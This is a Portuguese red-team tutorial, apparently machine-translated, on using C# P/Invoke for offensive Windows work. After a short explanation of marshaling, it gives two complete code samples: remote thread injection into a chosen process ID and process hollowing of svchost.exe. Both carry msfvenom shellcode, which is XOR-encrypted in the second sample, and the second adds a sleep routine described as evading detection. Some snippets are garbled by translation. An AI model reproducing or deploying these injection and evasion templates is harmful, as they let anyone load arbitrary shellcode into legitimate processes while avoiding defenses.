Escolar Documentos
Profissional Documentos
Cultura Documentos
Introdução
C# pode ser uma linguagem muito útil para começar a construir seu kit de ferramentas inicial para
Red Team. Compreensivelmente, ele não fornece a covert-ness, que podemos usar em linguagens
como C ou C++. Mas tem outros aspectos, como na execução da memória e com o aumento de
ferramentas que usam C#, também vimos algumas táticas interessantes que podem ser utilizadas
para contornar a detecção e as defesas nos compromissos da Red Team.
C# é uma linguagem orientada a objetos baseada no .NET Framework desenvolvido pela Microsoft. A
sintaxe é bastante fácil de entender e aprender. Existem dois termos gerais que você ouvirá:
No caso de código não gerenciado, como diz a Microsoft, quem manda é o programador ou tudo mais.
Tudo, desde gerenciamento de memória, coleta de lixo, tratamento de exceções e considerações de
segurança, como proteções contra ataques de buffer overflow, é a dor de cabeça do programador. Ele
compila diretamente na linguagem nativa que o sistema operacional pode executar diretamente e
também fornece acesso de baixo nível ao programador.
Para código gerenciado, o código gerenciado por um CLR (Common Language Runtime) no .NET
Framework. O CLR pega o código e compila em uma linguagem intermediária conhecida como IL. Em
seguida, ele é compilado pelo tempo de execução e executado. Ele também fornece gerenciamento
automático de memória, proteções de segurança, coleta de lixo e tratamento de exceções, etc
Ao usar C#, às vezes precisamos acessar o poder do código não gerenciado a partir do nosso código
gerenciado. Podemos criar uma ponte entre nossos códigos gerenciados e não gerenciados graças à
funcionalidade de interoperabilidade que o CLR oferece. Essa interoperabilidade é possível com o uso
do P/Invoke!
O que é P/Invoke
Considere esta situação comum: você precisa alocar memória em seu processo atual para copiar no
shellcode e então criar um novo thread para executá-lo. Como o Common Language Runtime (CLR)
gerencia coisas como alocação de memória para nós, daí o termo “código gerenciado”, isso não é
possível por meio da funcionalidade integrada do .NET
Platform Invoke ou também conhecido como P/Invoke é o que nos ajuda a usar código inseguro ou
não gerenciado de bibliotecas não gerenciadas em nosso código gerenciado. De acordo com a
Microsoft, P/Invoke é uma tecnologia que permite acessar estruturas, retornos de chamada e funções
em bibliotecas não gerenciadas a partir de seu código gerenciado. A maior parte da API P/Invoke está
contida em dois namespaces: Systeme System.Runtime.InteropServices. O uso desses dois
namespaces fornece as ferramentas para descrever como você deseja se comunicar com o
componente nativo.
Marshaling
Como estamos interagindo com funções não gerenciadas de código gerenciado, precisamos ser
capazes de lidar automaticamente com coisas como conversão de tipo de dados. Simplificando, é
isso que o marshaling faz por nós. O gráfico abaixo mostra uma visão geral de alto nível de como
seu código C# interage com código não gerenciado.
Um exemplo prático disso é a conversão de uma assinatura de função não gerenciada em uma
assinatura gerenciada. Vamos levar a assinatura para VirtualAlloc()do nosso exemplo acima.
Exemplo abaixo:
LPVOID VirtualAlloc(
LPVOID lpAddress,
SIZE_T dwTamanho,
DWORD flAllocationType,
DWORD flProteger
);
Nós podemos ver isso VirtualAlloc()retorna um ponteiro para um objeto void (LPVOID) e recebe um
LPVOID para o lpAddressparâmetro, um número inteiro sem sinal (SIZE_T) para dwSizee uma palavra
dupla (DWORD) para o flAllocationTypee flProtectparâmetros. Como esses tipos não são válidos
no .NET, precisamos convertê-los. Abaixo uma tabela de tipos que encontrei para ajudar na conversão:
Usando esta tabela, a assinatura para VirtualAlloc()que precisaríamos usar em
nosso código C# seria:
[DllImport(“kernel32.dll”)]
privado estático externo IntPtr VirtualAlloc(
IntPtr lpStartAddr,
tamanho único,
uint flAllocationType,
uint flProtect);
DICA - Capturando erros do Win32
(somente no codigo teste)
O campo SetLastError é uma forma de gerenciar o consumo de mensagens de erro da API que, de
outra forma, perderíamos devido ao (des) empacotamento. Simplificando, isso apenas nos fornece a
capacidade de lidar com erros em nossa função externa por meio de uma chamada para
Marshal.GetLastWin32Error(). Considere o seguinte código:
if (RemoveDirectory(@”C:\Windows\System32"))
Console.Writeline(“Isso não vai funcionar”);
outro
Console.WriteLine(Marshal.GetLastWin32Error());
QueueUserAPC é uma ferramenta que muitas vezes pode ser um atalho para
algumas tarefas que são manipuladas com objetos de sincronização. Ele permite que
você diga a um tópico específico para fazer algo sempre que for conveniente para
esse tópico (ou seja, quando ele termina seu trabalho atual e começa a esperar por
algo)
Process Hollowing
Escrita do Shellcode:
Chamadas de API:
Execução do Shellcode:
Enumerações e Importações:
Shellcode e Parâmetros:
Execução Segura:
Lembrando que a execução de código em processos remotos pode ter implicações significativas em
termos de segurança e privacidade, e é fundamental seguir as melhores práticas e regulamentações
aplicáveis.
EXEMPLO DE CODIGO
[DllImport("kernel32.dll")]
public static extern IntPtr OpenProcess(UInt32 dwDesiredAccess, bool bInheritHandle, UInt32 dwProcessId);
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, int dwSize, UInt32
flAllocationType, UInt32 flProtect);
[DllImport("kernel32.dll")]
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int
nSize, ref int lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, UInt32
dwStackSize, IntPtr lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref int lpThreadId);
public enum State
{
MEM_COMMIT = 0x00001000,
MEM_RESERVE = 0x00002000
}
public enum Protection
{
PAGE_EXECUTE_READWRITE = 0x40
}
public enum Process
{
PROCESS_ALL_ACCESS = 0x000F0000 | 0x00100000 | 0xFFFF,
PROCESS_CREATE_THREAD = 0x0002,
PROCESS_QUERY_INFORMATION = 0x0400,
PROCESS_VM_OPERATION = 0x0008,
PROCESS_VM_READ = 0x0010,
PROCESS_VM_WRITE = 0x0020
}
static void Main(string[] args)
{
var desiredAccess = Process.PROCESS_CREATE_THREAD | Process.PROCESS_QUERY_INFORMATION |
Process.PROCESS_VM_OPERATION | Process.PROCESS_VM_READ | Process.PROCESS_VM_WRITE;
byte[] buf = new byte[276] {
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,
0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,
0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,
0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,
0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,
0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,
0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,
0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,
0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,
0x63,0x2e,0x65,0x78,0x65,0x00 };
int shellcode_size = buf.Length;
int bytesWritten = 0;
int lpthreadID = 0;
IntPtr procHandle = OpenProcess((uint)desiredAccess, false, Convert.ToUInt32(args[0]));
IntPtr init = VirtualAllocEx(procHandle, IntPtr.Zero, shellcode_size, (uint)State.MEM_COMMIT |
(uint)State.MEM_RESERVE, (uint)Protection.PAGE_EXECUTE_READWRITE);
WriteProcessMemory(procHandle, init, buf, shellcode_size, ref bytesWritten);
Console.WriteLine("[*] Bytes Written: {0}", bytesWritten);
IntPtr threadPTR = CreateRemoteThread(procHandle, IntPtr.Zero, 0, init, IntPtr.Zero, 0, ref lpthreadID);
Console.WriteLine("[*] Thread ID: {0}", lpthreadID);
}
APC Injection - Process Hollowing
checklist
Importações de API:
Comece definindo as importações de API necessárias que serão usadas para interagir com o
processo alvo. Essas importações incluem funções como CreateProcess,
ZwQueryInformationProcess, ReadProcessMemory, WriteProcessMemory, SetThreadContext e
ResumeThread.
Estruturas e Enumerações:
Use a função CreateProcess para criar um processo alvo em um estado suspenso. Isso é feito
fornecendo o caminho do executável do processo desejado e um sinalizador para suspender o
thread primário do processo.
Inserindo o Shellcode:
Cole o shellcode que você deseja injetar no processo. Isso pode ser um shellcode malicioso ou
qualquer código que você deseja que o processo execute.
Se o shellcode estiver criptografado, descriptografe-o para que ele possa ser executado
corretamente.
Obtenha o endereço do Process Environment Block (PEB) do processo suspenso. O PEB é uma
estrutura de memória que contém informações importantes sobre o processo.
Calculando o Endereço do Ponto de Entrada Real:
Use a função ResumeThread para retomar a execução do thread principal do processo alvo.
Lembre-se de que essa técnica é altamente invasiva e, quando usada de maneira inadequada, pode
ser ilegal e prejudicial. É importante seguir todas as leis e regulamentos aplicáveis e usar seu
conhecimento de maneira ética e responsável. A segurança cibernética deve ser usada para proteger
sistemas e redes, não para causar danos ou realizar atividades maliciosas.
EXEMPLO DE CODIGO
using System;
using static Process_Hollowing.Imports.Imports;
namespace Process_Hollowing
{
class Program
{
public static void sleep()
{
var rand = new Random();
uint randTime = (uint)rand.Next(10000, 20000);
double decide = randTime / 1000 - 0.5;
DateTime now = DateTime.Now;
Console.WriteLine("[*] Sleeping for {0} seconds to evade detections...", randTime / 1000);
Sleep(randTime);
if (DateTime.Now.Subtract(now).TotalSeconds < decide)
{
return;
}
}
public static void Hollow()
{
PROCESS_INFORMATION proc_info = new PROCESS_INFORMATION();
STARTUPINFO startup_info = new STARTUPINFO();
PROCESS_BASIC_INFORMATION pbi = new PROCESS_BASIC_INFORMATION();
string path = @"C:\\Windows\\System32\\svchost.exe";
bool procINIT = CreateProcess(null, path, IntPtr.Zero, IntPtr.Zero, false,
CreationFlags.SUSPENDED,
IntPtr.Zero, null, ref startup_info, ref proc_info);
if (procINIT == true)
{
Console.WriteLine("[*] Process create successfully.");
Console.WriteLine("[*] Process ID: {0}", proc_info.dwProcessId);
}
else
{
Console.WriteLine("[-] Could not create the process.");
}
// msfvenom -p windows/x64/exec CMD=calc.exe -f csharp EXITFUNC=thread --encrypt xor --encrypt-
key z
byte[] buf = new byte[276] {
0x86,0x32,0xf9,0x9e,0x8a,0x92,0xba,0x7a,0x7a,0x7a,0x3b,0x2b,0x3b,0x2a,0x28,
0x2b,0x2c,0x32,0x4b,0xa8,0x1f,0x32,0xf1,0x28,0x1a,0x32,0xf1,0x28,0x62,0x32,
0xf1,0x28,0x5a,0x32,0xf1,0x08,0x2a,0x32,0x75,0xcd,0x30,0x30,0x37,0x4b,0xb3,
0x32,0x4b,0xba,0xd6,0x46,0x1b,0x06,0x78,0x56,0x5a,0x3b,0xbb,0xb3,0x77,0x3b,
0x7b,0xbb,0x98,0x97,0x28,0x3b,0x2b,0x32,0xf1,0x28,0x5a,0xf1,0x38,0x46,0x32,
0x7b,0xaa,0xf1,0xfa,0xf2,0x7a,0x7a,0x7a,0x32,0xff,0xba,0x0e,0x1d,0x32,0x7b,
0xaa,0x2a,0xf1,0x32,0x62,0x3e,0xf1,0x3a,0x5a,0x33,0x7b,0xaa,0x99,0x2c,0x32,
0x85,0xb3,0x3b,0xf1,0x4e,0xf2,0x32,0x7b,0xac,0x37,0x4b,0xb3,0x32,0x4b,0xba,
0xd6,0x3b,0xbb,0xb3,0x77,0x3b,0x7b,0xbb,0x42,0x9a,0x0f,0x8b,0x36,0x79,0x36,
0x5e,0x72,0x3f,0x43,0xab,0x0f,0xa2,0x22,0x3e,0xf1,0x3a,0x5e,0x33,0x7b,0xaa,
0x1c,0x3b,0xf1,0x76,0x32,0x3e,0xf1,0x3a,0x66,0x33,0x7b,0xaa,0x3b,0xf1,0x7e,
0xf2,0x32,0x7b,0xaa,0x3b,0x22,0x3b,0x22,0x24,0x23,0x20,0x3b,0x22,0x3b,0x23,
0x3b,0x20,0x32,0xf9,0x96,0x5a,0x3b,0x28,0x85,0x9a,0x22,0x3b,0x23,0x20,0x32,
0xf1,0x68,0x93,0x2d,0x85,0x85,0x85,0x27,0x32,0xc0,0x7b,0x7a,0x7a,0x7a,0x7a,
0x7a,0x7a,0x7a,0x32,0xf7,0xf7,0x7b,0x7b,0x7a,0x7a,0x3b,0xc0,0x4b,0xf1,0x15,
0xfd,0x85,0xaf,0xc1,0x9a,0x67,0x50,0x70,0x3b,0xc0,0xdc,0xef,0xc7,0xe7,0x85,
0xaf,0x32,0xf9,0xbe,0x52,0x46,0x7c,0x06,0x70,0xfa,0x81,0x9a,0x0f,0x7f,0xc1,
0x3d,0x69,0x08,0x15,0x10,0x7a,0x23,0x3b,0xf3,0xa0,0x85,0xaf,0x19,0x1b,0x16,
0x19,0x54,0x1f,0x02,0x1f,0x7a };
for (int i = 0; i < buf.Length; i++)
{
buf[i] = (byte)(buf[i] ^ (byte)'z');
}
uint retLength = 0;
IntPtr procHandle = proc_info.hProcess;
IntPtr threadHandle = proc_info.hThread;
ZwQueryInformationProcess(procHandle, PROCESSBASICINFORMATION, ref pbi, (uint)(IntPtr.Size * 6),
ref retLength);
IntPtr imageBaseAddr = (IntPtr)((Int64)pbi.PebAddress + 0x10);
Console.WriteLine("[*] Image Base Address found: 0x{0}", imageBaseAddr.ToString("x"));
byte[] baseAddrBytes = new byte[0x8];
IntPtr lpNumberofBytesRead = IntPtr.Zero;
ReadProcessMemory(procHandle, imageBaseAddr, baseAddrBytes, baseAddrBytes.Length, out
lpNumberofBytesRead);
IntPtr execAddr = (IntPtr)(BitConverter.ToInt64(baseAddrBytes, 0));
byte[] data = new byte[0x200];
ReadProcessMemory(procHandle, execAddr, data, data.Length, out lpNumberofBytesRead);
uint e_lfanew = BitConverter.ToUInt32(data, 0x3C);
Console.WriteLine("[*] e_lfanew: 0x{0}", e_lfanew.ToString("X"));
uint rvaOffset = e_lfanew + 0x28;
uint rva = BitConverter.ToUInt32(data, (int)rvaOffset);
IntPtr entrypointAddr = (IntPtr)((UInt64)execAddr + rva);
Console.WriteLine("[*] Entrypoint Found: 0x{0}", entrypointAddr.ToString("X"));
IntPtr lpNumberOfBytesWritten = IntPtr.Zero;
WriteProcessMemory(procHandle, entrypointAddr, buf, buf.Length, ref lpNumberOfBytesWritten);
Console.WriteLine("[*] Memory written. Resuming thread...");
ResumeThread(threadHandle);
}
static void Main(string[] args)
{
sleep();
Hollow();
}
}
}
REFEREINCIAS
Hacker Cript0ace
Hacker Mall Nelson
https://aliongreen.github.io/posts/remote-thread-injection.html
https://stackoverflow.com/questions/8551004/when-to-use-queueuserapc
https://github.com/Kara-4search/EarlyBirdInjection_CSharp
https://github.com/dosxuz/Process-Injections/tree/main/EarlyBird/EarlyBird
https://mark-borg.github.io/blog/2017/interop/
https://medium.com/@matterpreter/offensive-p-invoke-leveraging-the-win32-api-
from-managed-code-7eef4fdef16d
https://medium.com/@enigma0x3
https://posts.specterops.io/the-curious-case-of-queueuserapc-3f62e966d2cb